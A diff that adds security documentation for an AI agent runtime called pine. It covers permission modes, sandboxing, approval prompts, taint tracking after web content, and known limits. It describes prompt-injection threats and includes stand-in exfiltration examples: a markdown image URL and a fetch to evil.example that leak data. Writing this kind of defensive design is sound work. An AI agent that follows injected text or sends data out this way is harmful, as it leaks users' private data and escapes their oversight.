+ `approve` in `agent.json` lists actions that need approval every time in `manual` and `auto`
411
+ mode, tainted or not (bypass skips them like everything else):
412
+
413
+ ```json
414
+ { "approve": ["bash:*git push*", "send:house", "mcp__calendar__delete_*"] }
415
+ ```
416
+
417
+ ### Modes: how much an agent does without asking
418
+
419
+ Each agent has a mode. It decides what happens at the two boundaries above: the sandbox and the
420
+ approval prompts.
421
+
422
+ | Mode | Sandbox | What asks you |
423
+ |---|---|---|
424
+ | `auto` (the main agent, unless you say otherwise) | Off: shell and file tools reach your whole account and the network | Almost nothing. Your `approve` list asks. A critical action asks, in every conversation. After outside content, sending something out asks. See "What asks you" above |
425
+ | `safe` (every other agent, unless you say otherwise) | On: the agent's own folders. For anything beyond you are asked: by pine when a call needs it, or by the agent with `request_access` | As in `auto` |
426
+ | `manual` | On, where the machine has one | Every action that changes or sends something waits for you, unless you answered "always" for it in this conversation. Reading files and state and read-only MCP tools are free |
427
+ | `bypass` | Off: shell and file tools reach your whole account and the network | Nothing waits |
428
+ | `plan` | That of the mode the agent had before: planning lies on top of it | Nothing waits, because nothing is done: a call that does not only look is refused, without a question. See "Plan mode" below |
429
+
430
+ One setting says both things, so there is nothing else to set: an agent that should work with
431
+ your account is in `auto`, one that should stay in its folders is in `safe`. pine's own home
432
+ and program are closed in every mode, and a run that an event from outside started works in
433
+ the sandbox and is never asked, whatever the agent's mode.
434
+
435
+ The same actions in each mode:
436
+
437
+ | Action | `bypass` | `auto` | `safe` | `manual` |
438
+ |---|---|---|---|---|
439
+ | `ls`, `cat`, `git status`, reading files | runs | runs | runs | runs |
440
+ | `npm install`, `git commit`, editing a project file in your home | runs | runs | asks once for access to that folder, then runs | asks |
441
+ | `curl`, `git push`, anything that needs the network | runs | runs | asks once for network access, then runs | asks |
442
+ | Writing a file in its own workspace | runs | runs | runs | asks |
443
+ | `sudo`, a force push, `git reset --hard`, `curl ... \| sh`, shell startup files, ssh keys | runs | asks | asks | asks |
444
+ | Sending a Telegram message or an event after it has read a web page | asks, because bypass is paused then (below) | asks | asks | asks |
445
+
446
+ So `auto` asks rarely, `safe` asks whenever the agent has to leave its own folders, and
447
+ `manual` asks every time. Once a conversation in `bypass` has read outside content, bypass
448
+ is paused and it behaves like `auto`, in every row.
449
+
450
+ `request_access` is how an agent in the sandbox gets at something outside its
451
+ workspace: it names a path (read, or read and write) or asks for network access from its shell,
452
+ with a reason. You see the request like any approval. If you allow it, the access holds for that
453
+ conversation until you reset it or the daemon restarts. The agent does not have to call it:
454
+ when a call needs something outside, pine asks you the same question itself (see "When a call
455
+ needs something outside" above).
456
+
457
+ The bundled browser has one question of the same kind: when the agent opens an address on this
458
+ computer or your network (`http://localhost:5173`), you are asked, and a yes allows that host
459
+ and port for the conversation. See "Local addresses" in [mcp.md](mcp.md).
460
+
461
+ App control (the bundled `computer` server, macOS) has one as well: the first time the agent
462
+ looks at or acts in an app, you are asked, and a yes allows that app for the conversation.
463
+ After it, what the agent does there is not asked about click by click. Only an agent in `auto` or `bypass` mode has these tools, only in your own conversations,
464
+ never in a run started from outside. See [computer.md](computer.md).
465
+
466
+ **Sub-agents share their conversation's permissions.** A sub-agent is a copy of the agent doing
467
+ part of the conversation's job, so it works under what you allowed there: the access you
468
+ granted, your "always" answers, and your answer on whether the conversation keeps your account. It works the other way too: what a sub-agent asks for and
469
+ gets holds for the conversation and its other sub-agents, so you are asked once, not once per
470
+ copy. Nothing is widened by this: a sub-agent inherits the conversation's outside-content mark
471
+ as well, and another conversation of the same agent, or a run started by an outside event, has
472
+ none of it. An agent that a task is *delegated* to is a different agent with its own sandbox and
473
+ its own permissions.
474
+
475
+ **Downloads.** In the sandbox the shell has no network, but getting a file from a
476
+ server you connected is routine, so there is a `download` tool for it. It fetches an address into
477
+ the workspace, byte for byte, and reports size and SHA-256.
478
+
479
+ - An address on the origin of one of the agent's remote MCP servers (same scheme, host and port
480
+ as the server's `url`) is fetched without a question. A redirect that leads elsewhere is not
481
+ followed under this rule.
482
+ - A server's `headers` (its key) go with a download only for an address that one of that
483
+ server's own tools returned in the same conversation, exactly as it was returned. The agent
484
+ cannot make pine send the key to an address it thought of itself, a redirect takes no key
485
+ along, and a server marked `taints: true` never has its key sent this way: a link in its
486
+ answers may be somebody else's text. The key itself stays out of the conversation.
487
+ - An agent with the bundled `web` or `browser` server can already read any public address
488
+ without asking, so it may also save what is there: any public https address is fetched without
489
+ a question, also in a session that has read outside content. The `allowHosts` and `denyHosts`
490
+ of the `web` server apply while the conversation has no network access of its own; its
491
+ `allowPrivate` applies too, and then addresses on your network and plain http are fetched.
492
+ The session is marked as having read outside content.
493
+ - Without web access, any other address needs network access for the conversation
494
+ (`sandbox.network`, a grant from `request_access`, or `auto` or `bypass` mode). Without it the download is
495
+ refused and you are not asked. With it, only https and only public addresses are fetched, and
496
+ in a session that has read outside content the download asks first.
497
+ - The daemon does the fetching; the file is put in place the way the write tool writes: through
498
+ the agent's sandbox where it works in one, so that the operating system decides where it may land. `limits.maxDownloadMb`
499
+ (default 200) caps the size. Runs with the reduced tool set (layer 2) do not have the tool.
500
+
501
+ **Pictures in the terminal UI.** Showing pictures adds four read paths to the control API (see
502
+ [operations.md](operations.md)); all need the API token like everything else there.
503
+
504
+ - The path of a workspace picture comes from model output, so that endpoint serves only regular
505
+ image and video files (checked by content, not by name) that really lie inside the agent's
506
+ workspace or the folder opened for that conversation.
507
+ It cannot be used to read other files, also not through a link.
508
+ - A picture at a web address is fetched only when you click it, never because an answer
509
+ contains it. Otherwise `![](https://somewhere/?q=<your notes>)` in an answer would send data
510
+ out the moment it is displayed.
511
+ - Picture files are decoded by macOS's `sips` (on Linux by `ffmpeg`) and videos by `ffmpeg`, both started without
512
+ network access and without write access outside the temp folder, because the bytes can come
513
+ from anywhere. "Open in player" hands the file to the system's player, which has no such
514
+ limits; it only happens on your click.
515
+ - Pictures a tool returned are kept in `data/media/tool` (mode 600) for as long as the event
516
+ log reaches back (`limits.eventRetentionDays`).
517
+
518
+ **Event sources.** A source ([sources.md](sources.md)) brings in content from outside by
519
+ design, and a subscription lets that content start an agent turn without you. What keeps this
520
+ safe:
521
+
522
+ - Events of a source are outside content unless you mark the source `"trust": "owner"`. By
523
+ default an event is delivered into the conversation the agent subscribed in, framed as data,
524
+ and that conversation is then tainted (layer 4): sending things out and acting on the world
525
+ ask you first, bypass is paused. The agent does keep its tools there, as it does after
526
+ reading a web page; with `"separate": true` on the subscription the event instead starts a
527
+ run with the reduced tool set in a session of its own (layer 2), which is the stronger
528
+ protection for sources that carry strangers' text.
529
+ - An agent can set up a source itself (`add_source`), but only in a conversation with you, and
530
+ you confirm everything that opens something new: a folder outside its workspace (which it may
531
+ then also read), a connection, a port, a source for all agents, a source to be trusted as
532
+ yours. Only a folder in its own workspace goes through without a question, and
533
+ not in a conversation that has read outside content or in manual mode. A secret that pine
534
+ makes (a webhook's secret, an FTP drop's password) is not shown to the model: the agent is
535
+ told the name of its `.env` entry. A password you tell the agent passes through the tool call
536
+ once. Either way the value is stored in `.env`, never in `pine.json` or an `agent.json`, and
537
+ is kept out of events and logs.
538
+ - Subscribing is something only you, or an agent in a conversation with you, can do. A run
539
+ with the reduced tool set (started by an untrusted event through a route, or by a
540
+ subscription with `"separate": true`) has no `subscribe` tool. In a conversation that has
541
+ read outside content, which includes one that an event of a subscribed source arrived in,
542
+ the tool asks you first: otherwise a web page or a file name could make an agent start
543
+ listening to something.
544
+ - A source that nobody subscribed to is not running: no open port, no connection (unless you
545
+ marked it `"start": "always"`).
546
+ - The `ftp` type only receives, needs a password, writes under names of its own choosing into
547
+ its own folder, and can be limited to client addresses. The `webhook` type needs a secret
548
+ unless it is set up with `"open": true`, which the dialog spells out.
549
+ - A subscription has a throttle (10 s unless you change it), so a device that reports every
550
+ second cannot keep a model busy.
551
+
552
+ What no mode opens:
553
+
554
+ - pine's home: configuration, `.env`, credentials, the database, other agents' folders.
555
+ Agents never write there. (In `auto` and `bypass` mode pine keeps that by reading what is
556
+ about to run, not through the operating system: "pine's own files without a sandbox"
557
+ above.) What they may set up goes through tools that check what they are
558
+ given and write only that ([setup.md](setup.md)): an MCP server (`add_mcp_server`, which
559
+ asks you in every mode with the name and the URL or command; a local server added this way
560
+ runs where the agent's commands run, its sandbox or your account, never with the daemon's environment), event sources and subscriptions, and, for the
561
+ main agent alone, a new agent (`create_agent`, which always asks you and shows its
562
+ instructions) and a model server of your own (`add_model_server`: you confirm the address
563
+ every time, before any request goes there; its key is typed into pine's dialog and kept in
564
+ `.env`; the name cannot be a provider's that exists, so no stored key is sent to a new
565
+ address; refused in a conversation that has read outside content). The main agent is also the
566
+ one that changes and removes agents and changes pine's settings and routes (`update_agent`,
567
+ `remove_agent`, `set_setting`, `add_route`, `remove_route`): each takes a few named values and checks them, shows you the
568
+ change before it is made, notes where it gives an agent more (the account, the network,
569
+ bypass mode), reads the configuration back through the loader and undoes what
570
+ does not load, and is refused outright, without a question to you, in a conversation that
571
+ has read outside content. What it does for another agent (`agent` on the tools for sources,
572
+ servers, skills and schedules) is carried out by that agent's own tool under that agent's
573
+ rules, and taking something away from another agent asks you every time. Only the main agent can set anything up for all agents. Runs with the reduced
574
+ tool set (layer 2) have none of these tools, and a proposal from a conversation that has read
575
+ outside content says so in the dialog, because a web page asking for "this handy server" is
576
+ the obvious trick.
577
+ - pine's own program files, for writing.
578
+ - Runs started by untrusted events. They keep the `untrusted` profile and cannot ask for more.
579
+ They work in the sandbox and are never asked, whatever the agent's mode: neither `auto`
580
+ nor `manual` nor `bypass` applies to them.
581
+
582
+ And by default `bypass` is suspended in a session that has read outside content: from then on
583
+ that session behaves like `auto` until you reset it. A web page is exactly the moment someone
584
+ else may be steering the agent, and bypass plus a hostile page is your whole account. The pause
585
+ is never silent: the terminal UI prints a note, shows "bypass (paused)", and the agent itself
586
+ is told and will say so when you ask why something is still refused.
587
+
588
+ Two ways to have bypass regardless:
589
+
590
+ - For one conversation, as a decision made with the facts in front of you: choose bypass in a
591
+ conversation that is already tainted and the UI asks whether you want a clean conversation
592
+ (recommended) or bypass in this one anyway. "Anyway" holds for that conversation until it is
593
+ reset or the mode changes.
594
+ - Always: `"security": { "bypassWhenTainted": true }`. `pine check` says what that means for
595
+ each agent whose configured mode is `bypass`.
596
+
597
+ With either, the guards on instruction files and git settings (layer 4) no longer hold for
598
+ shell commands in that conversation: bypass has no sandbox and asks nothing. The file tools
599
+ still refuse them.
600
+
601
+ **Plan mode** is a fifth mode, for a different question: not how much the agent may do, but
602
+ whether it does anything yet. In `plan` the gate lets through what only looks and refuses
603
+ everything else with a fixed sentence, without asking you:
604
+
605
+ | In plan mode | Examples |
606
+ |---|---|
607
+ | Runs | `read`, `grep`, `find`, `ls`; shell commands that only read (`ls`, `cat`, `git status`, `git diff`); web search and page reading; MCP tools their server declares read-only; `manual`, `state_get`, `sources`, `schedules`, `mcp_servers`, `skills`; `question` and `todo`; `stop_program`; looking at an app (after your yes for that app) |
608
+ | Refused | `write`, `edit`, every other shell command (a redirect such as `> file` included, and every command in the background), `download`, `send`, `publish_event`, `state_set`, `delegate`, `subagent`, `request_access`, every tool that changes the setup (`add_...`, `remove_...`, `subscribe`), MCP tools that are not declared read-only (opening a page in the browser, the tools of a `commands` server), acting in an app |
609
+
610
+ The agent is told so in the note in front of your message, answers with a plan, and is told
611
+ when you switch the mode off. A run started from outside is held to it too. What is on your
612
+ `approve` list still asks. Plan mode is a way of working, not a wall: which shell command only
613
+ looks is decided by its name, an MCP tool by its server's own word, and the sandbox is that
614
+ of the mode the agent had when planning was switched on (none after `auto`, the sandbox
615
+ after `safe`). A command that only reads can read whatever that mode lets it read. What holds
616
+ an agent that is not to be trusted is the sandbox of `safe` mode, not planning.
617
+
618
+ Set the mode where it should last, or switch it while running:
619
+
620
+ ```json
621
+ { "mode": "manual" }
622
+ ```
623
+
624
+ in `agent.json` (or `defaults.mode` in `pine.json` for all agents); `/mode` or `shift+tab` in the
625
+ terminal UI; `pine mode <agent> <mode>` from a shell. A switch to `auto`, `safe` or `manual` is saved
626
+ in the agent's `agent.json` and holds after a restart. A switch to `bypass` or `plan` lasts until
627
+ the daemon restarts.
628
+
629
+ ### 5. Sources that go and look
630
+
631
+ - **A web address (`http`)** is fetched by pine itself, so the address is yours to confirm: the
632
+ dialog names it and says when it is on your own network, a redirect is followed only on the
633
+ same host, and a token is sent nowhere else. An address that was confirmed as a public one is
634
+ not followed into your network if its name later leads there. What the address answers is
635
+ outside content like any page an agent reads.
636
+ - **A command (`command`)** runs in a sandbox, whatever the mode of the agent the source
637
+ belongs to (the main agent, for a source of all agents): that agent's own folders, no
638
+ network, not your environment, and instruction files read-only. It cannot read
639
+ pine's secrets or write its configuration. You see the command line before it is set up, in
640
+ every mode. What it prints is outside content unless you say the source is yours. On a
641
+ machine without a working sandbox it is not run at all.
642
+ - **Status lines** (when a source last looked, what it found) are read by agents without the
643
+ mark that outside content gets. A source therefore repeats a found value there only when it
644
+ is a number or a single word.
645
+
646
+ ### 6. A new kind of source is a program
647
+
648
+ A source type runs inside pine with pine's rights; no sandbox applies to it. It gets in by your
649
+ hand (`sourceTypes` in `pine.json`, or `"use"` on a single source's entry) or through the main
650
+ agent's `add_source_type`, and then only
651
+
652
+ - from the main agent, in a conversation with you,
653
+ - never from a conversation that has read outside content: there the tool refuses without
654
+ asking you,
655
+ - with your yes in a dialog that says it is a program, how long it is, what it imports and
656
+ where the file is, in every mode and every time,
657
+ - as a copy pine takes at that moment into its own home, which agents cannot write. What you
658
+ confirmed is what runs.
659
+
660
+ Read the file before you confirm. Nothing else stands between that module and your account.
661
+ `pine check` lists every registered source type, and every source that names a module with
662
+ `"use"`, with the file it runs.
663
+
664
+ ### 7. Schedules act in your name
665
+
666
+ What a schedule starts counts as your wish: the agent is woken with its usual tools, and
667
+ nothing is marked as outside content. So a schedule must really be your wish:
668
+
669
+ - An agent schedules for the conversation it is in, or for itself from its main conversation,
670
+ without a question (except in manual mode). For itself from a side conversation, or for all
671
+ agents (the main agent only), you are asked.
672
+ - In a conversation that has read outside content you are asked in every case, in every mode,
673
+ and you see the task: a sentence on a web page must not turn into something done every hour.
674
+ - An interval an agent sets is at least a minute.
675
+ - A schedule is an entry in pine's configuration, which agents cannot write. `pine schedules`
676
+ shows all of them with their tasks; an agent's `schedules` tool shows its own and those for
677
+ all agents.
678
+
679
+ ### A goal goes on in your name
680
+
681
+ With `/goal` an agent is called again and again until an objective is met ("Goal mode" in
682
+ [agents.md](agents.md)). Each of those calls counts as your wish, like a schedule. So what may
683
+ start one is narrow:
684
+
685
+ - Only you set a goal, pause it, resume it or clear it, through the terminal UI or the control
686
+ API. No tool reaches it: an agent cannot give itself a goal, more rounds or another objective.
687
+ - What calls the agent again is your objective, word for word, inside fixed text of pine's.
688
+ Nothing the agent wrote and nothing the judge said is in it. The agent's answer may repeat
689
+ what a web page told it; put into the next round's message, that text would speak with your
690
+ voice. The judge's reason is shown to you instead.
691
+ - The judge reads the agent's answer, so text from outside can reach it. All it can do with
692
+ that is say one of three words. A wrong "met" or "blocked" stops the work; a wrong "continue"
693
+ costs rounds, of which there are at most `limits.goalRounds` before you are needed again.
694
+ No verdict at all pauses the goal.
695
+ - A run started from outside has no goal: it works in the `~u` twin of a conversation, where
696
+ none can be set, and its end is never judged or continued.
697
+ - A goal changes nothing about what an agent may do. In every round its mode and your
698
+ approvals apply as in any other task; a conversation that has read outside content
699
+ stays marked through all rounds.
700
+ - Nothing goes on unseen: your own message, `esc`, a failed round and a restart of pine each
701
+ pause the goal until you say `/goal resume`.
702
+
703
+ ### Commands in the background
704
+
705
+ An agent can start a shell command that goes on after its turn (`background: true` on the
706
+ shell tool; [coding.md](coding.md), "Commands in the background"). What keeps that inside the
707
+ same limits:
708
+
709
+ - Only your own conversations can. A run started from outside is refused, and so is a single
710
+ run that has no conversation to report to (a task another agent handed over, its
711
+ sub-agents).
712
+ - pine starts the command, inside the sandbox the conversation's other commands run in at
713
+ that moment: the same files, the same network, the same environment. Running on gives it
714
+ nothing more. A conversation has at most eight at a time.
715
+ - It is not held to the shell's time limit (`bashTimeoutSec`). It ends by itself, when the
716
+ agent (`stop_program`) or you (the code pane) stop it, or when its conversation is reset or
717
+ removed. Quitting pine does not end it.
718
+ - When it has ended, pine tells the conversation in a message of its own. The last lines the
719
+ command printed stand in it as quoted output, each line marked, read through the agent's
720
+ sandbox. They are information: the message is not yours.
721
+ - What is still running is found by pine itself, not reported by the agent, and only what the
722
+ conversation's own commands started can be stopped: never a process somebody names by its
723
+ number.
724
+ - On Linux a conversation that has read outside content cannot start one at all ("On Linux"
725
+ under layer 3).
726
+
727
+ ### Undo is yours
728
+
729
+ `/undo` takes back your last message with the files it changed in the conversation's folder
730
+ ([coding.md](coding.md), "Taking a message back"). It is the one place where pine's own side
731
+ writes into a folder, so it is narrow:
732
+
733
+ - Only you undo and redo, in the terminal UI or through the control API. No agent has a tool
734
+ for it, and only a message you typed is taken back, never a run that outside content
735
+ started.
736
+ - The states of the folder are kept in pine's data folder (`data/snapshots`), which no agent
737
+ can write. An agent cannot change what an undo restores.
738
+ - The files are put back by git inside a sandbox that can write that folder and pine's own
739
+ store of states, and nothing else. It reads neither the folder's git settings nor yours,
740
+ runs no hook and no filter, and does not write through a link.
741
+ - Taking a message back puts the conversation's outside-content mark, and what you allowed
742
+ the conversation, back to what they were before that message. Never to more.
743
+ - An undo restores files. What left the machine (a message sent, a push, a request to a
744
+ server) and what a command did outside the folder is not taken back.
745
+
746
+ ### 8. Skills are instructions
747
+
748
+ A skill is read into an agent's prompt (its name and description) and followed when a task
749
+ calls for it, so it is guarded like the instruction files:
750
+
751
+ - Skills lie in pine's home, where an agent can read its own and write none. `add_skill`
752
+ writes them; an agent's shell and file tools cannot.
753
+ - In a conversation that has read outside content `add_skill` is not written unseen: text
754
+ from a web page must not become a standing instruction. It is shown to you first, with its
755
+ instructions, for every scope.
756
+ - A skill for all agents is the main agent's to add, and you see its description and
757
+ instructions before it exists. So does one an agent adds for itself from a side conversation.
758
+ In manual mode you see every skill before it exists.
759
+ - Scripts that go along with a skill run like anything else the agent runs: in its sandbox, or without one in `auto` and `bypass` mode.
760
+ - Files are copied as files. A link in the folder that is to go along is refused, so a skill
761
+ cannot be made to carry a file from outside the workspace.
762
+
763
+ ### 9. Outputs check for themselves
764
+
765
+ Whatever asks, the Telegram source sends only to your own chat, and the MQTT source publishes
766
+ only to topics on its `publish` list. In a conversation that has read outside content, the
767
+ `send` tool asks you first. An agent's `publish` list names the topics it
768
+ may use at all. Agents cannot publish on pine's own topics (`agent/`, `approval/`, `pine/`,
769
+ `state/`, `timer/`).
770
+
771
+ ### 10. Secrets
772
+
773
+ - Secrets live in `.env`. pine fills them into the configuration and does not put them into
774
+ its environment, so child processes do not inherit them.
775
+ - Known secret values (every value in `.env` of eight characters or more, bot tokens, the control token) are replaced with
776
+ `[redacted]` in events, outgoing messages and log lines.
777
+ - A secret does not have to pass through a model to be set up. Agents are told never to ask for
778
+ one; a tool that needs one leaves it out, and you type it into pine's own dialog, from where
779
+ it goes to the daemon and into `.env`. One that is in `.env` already is used by its name. A
780
+ model that runs somewhere else never receives it either way.
781
+ - If you write a secret into a conversation anyway and an agent stores it, it is redacted from
782
+ then on and removed from the stored events and tasks. That conversation's history and the
783
+ model have still seen it: change such a secret if the model is not yours.
784
+ - `pine check` reports configuration files, and a home folder, that other users can read.
785
+
786
+ ### 11. Limits against runaway behaviour
787
+
788
+ Delegation depth and loops, event hops, queue length per agent, task and shell time limits,
789
+ prompt size for untrusted events, the rounds of a goal: all in [configuration.md](configuration.md). The webhook
790
+ rate is fixed at 120 requests a minute per hook, and a conversation has at most eight commands
791
+ in the background at a time. A command in the background is not held to the shell's time
792
+ limit.
793
+
794
+ ## A layout that keeps the pieces apart
795
+
796
+ The example home starts with one agent, `main`, that has web search and the browser, and your
797
+ account in your own conversations. What stands between the two is small: once a
798
+ conversation has read the web, you are asked before it sends something out, and before a
799
+ critical action as always ("What asks you"). Its shell is not looked at. That is the
800
+ convenient setup, not the careful one; the table below is the careful one.
801
+
802
+ The dangerous combination is one agent that has private data, reads outside content and can
803
+ send things out. Once you have agents with private data, split those:
804
+
805
+ | Agent | Has | Does not have |
806
+ |---|---|---|
807
+ | `main` | Your conversation, your account, delegation to everyone | Web tools |
808
+ | `scout` | Web search and page reading | Anything private: an empty workspace, no delegation, no state |
809
+ | Specialists (`gonzo`, `house`) | Their repository, their own MCP servers | Web tools, network |
810
+ | `house` | Events from cameras and sensors (untrusted profile), writes `house/` state | A shell, the network |
811
+
812
+ `main` asks `scout` to research. What comes back is text, and it taints `main`'s session: from
813
+ then on `main` needs your approval to publish events or to hand `scout` another task. Scout
814
+ itself can be fooled by a page, but it has nothing to give away and cannot act.
815
+
816
+ ## What is not solved
817
+
818
+ - **Leaks through an approved or unguarded channel.** If you give one agent both private files
819
+ and web access, a page can ask it to fetch `https://evil.example/?q=<your data>`, and that
820
+ fetch is the tool working as intended. The layout above avoids it; the URL length limit only
821
+ makes it slower.
822
+ - **An agent in `auto` or `bypass` mode.** It works with your own rights and without a
823
+ sandbox. pine's home and program are kept from it by reading its commands, which a script,
824
+ a variable or a program it starts gets past ("pine's own files without a sandbox"). After
825
+ outside content its shell can also write what is read as instructions or what makes git
826
+ run programs (a `CLAUDE.md` in a repository, a hook): the file tools refuse that, and
827
+ nothing looks at a shell command that does it, unless it names a hook or a repository's
828
+ configuration, which asks you. For an agent that reads the web, `safe` mode is the wall.
829
+ - **Memory after outside content.** An agent writes its own `MEMORY.md`, `AGENTS.md` and
830
+ `SOUL.md` also in a conversation that has read outside content, unchecked. What a page
831
+ talks it into writing there is read in every later conversation. Look into those files
832
+ now and then; rules it must never change go into `agents/<id>/AGENTS.md`, which it cannot
833
+ write.
834
+ - **A model server reads what it is sent.** Whoever runs a server you add (`pine model add`,
835
+ `add_model_server`) sees every conversation of the agents that use its models: your messages,
836
+ the files they read, the results of their tools. Over plain `http` so does anyone on the
837
+ network path; use it on this machine, on your own network or through a VPN, and `https`
838
+ elsewhere. pine asks you before it adds one and never sends a key anywhere but to the address
839
+ you confirmed.
840
+ - **Bad answers.** An injected page can still make an agent tell you something false. Approval
841
+ prompts show you the action, not whether the reasoning behind it was honest.
842
+ - **Approval fatigue.** If you approve without reading, layer 4 is worth nothing. Requests show
843
+ the full arguments for that reason.
844
+ - **Bypass mode.** It is what it says: an agent in bypass acts with your rights, on your files,
845
+ with the network, unasked. Use it for a task you are watching, on an agent that is not reading
846
+ the web, and switch back.
847
+ - **Your own MCP servers, extensions and source types.** They run unsandboxed (a local MCP
848
+ server only when you added it yourself and did not mark it `"sandboxed"`), also a source
849
+ type the main agent wrote and you confirmed: the dialog shows what it is, not what it does. A server that can delete mail can
850
+ delete mail when an agent asks; mark such servers `"approve": "tainted"` or `"always"`.
851
+ - **Shell with network.** `sandbox.network: true` lets commands reach the internet and your
852
+ local network, including an unauthenticated model server and anything else that listens on
853
+ a port of this machine. On Linux also programs that listen on a socket file in the temp
854
+ folders (a tmux server, an editor's helper, an ssh agent): some of those run commands for
855
+ whoever connects. macOS keeps socket files closed ("On Linux" under layer 3). Prefer the `web` server or a
856
+ `commands` tool for the one thing that needs the network.
857
+ - **App control is outside the sandbox.** An agent that operates your apps (the bundled
858
+ `computer` server) acts through them, not through its shell: what an app can open, it can
859
+ open. A terminal app or the Finder reaches pine's home; a mail app sends as you. What stands
860
+ in between is your yes for each app in a conversation, and that pine does not act in the app
861
+ it runs in itself, where its questions are answered. Say yes to an app that can run commands
862
+ or send messages only for a task you watch.
863
+ - **A signed-in browser.** With a persistent `profile`, the bundled browser acts as you on every
864
+ site you signed in to. A hostile page can ask the agent to click things there. Keep signed-in
865
+ profiles for tasks you start and watch yourself. The same goes, without a `profile`, for
866
+ what you log in to in a window the agent opened for you (`browser_show`): the agent is
867
+ logged in there too, for as long as that conversation's browser runs ([mcp.md](mcp.md)).
868
+ - **The sandbox is the operating system's.** On macOS, `sandbox-exec` is deprecated but is
869
+ what Apple's own tools and other agent runtimes use. On Linux, bubblewrap is what Flatpak
870
+ uses; pine adds one narrow system call filter to it (no sockets to other programs while a
871
+ command has no network) and no general one. On both, a kernel or sandbox bug would be a
872
+ way out. For stronger isolation run the daemon under a separate user with no access to your
873
+ files.
874
+ - **Linux: new instruction files exist until the command ends**, and are looked for six
875
+ folders deep. See "On Linux" under layer 3.
876
+ - **Local users.** Another account on the machine that can read pine's home has everything.
877
+ Keep the home at mode 700.
878
+ - **Model quality.** A small quantised model follows hostile text more readily than a large one.
879
+ The layers above are built for that, but a weaker model will trip the approval prompts more
880
+ often.
881
+
882
+ ## Checklist
883
+
884
+ 1. `pine check` shows "No security notes", or you know why each note is there.
885
+ 2. Every webhook has a secret (`pine check` names hooks and `webhook` sources that have none), and `pine check` names no source whose reports count as yours unless it should (a paired Telegram account is not listed).
886
+ 3. `.env`, `pine.json`, `models.json` and `auth.json` are mode 600; the home is 700. `pine check` reports all of these.
887
+ 4. No agent has `"trustWorkspace": true` or `"mode": "bypass"` in its configuration, and every agent in `auto` mode is one you want to work with your whole account.
888
+ 5. Web and browser tools are on an agent whose workspace holds nothing private and whose mode
889
+ is `safe`; or you accept, for an agent in `auto` mode, that nothing looks at its shell
890
+ after it has read the web.
891
+ 6. MCP servers that return other people's text have `"taints": true`; those that change things
892
+ have `"approve": "tainted"`.
893
+ 7. No route sets `"trust": "owner"` for a source others can write to.
894
+ 8. `http.host` is `127.0.0.1`. Remote access goes through SSH or a tunnel.
895
+ 9. You receive approval requests (send yourself one: give an agent `"approve": ["bash:*"]` once
896
+ and ask it to run `ls`; not while the agent is in bypass, where nothing asks).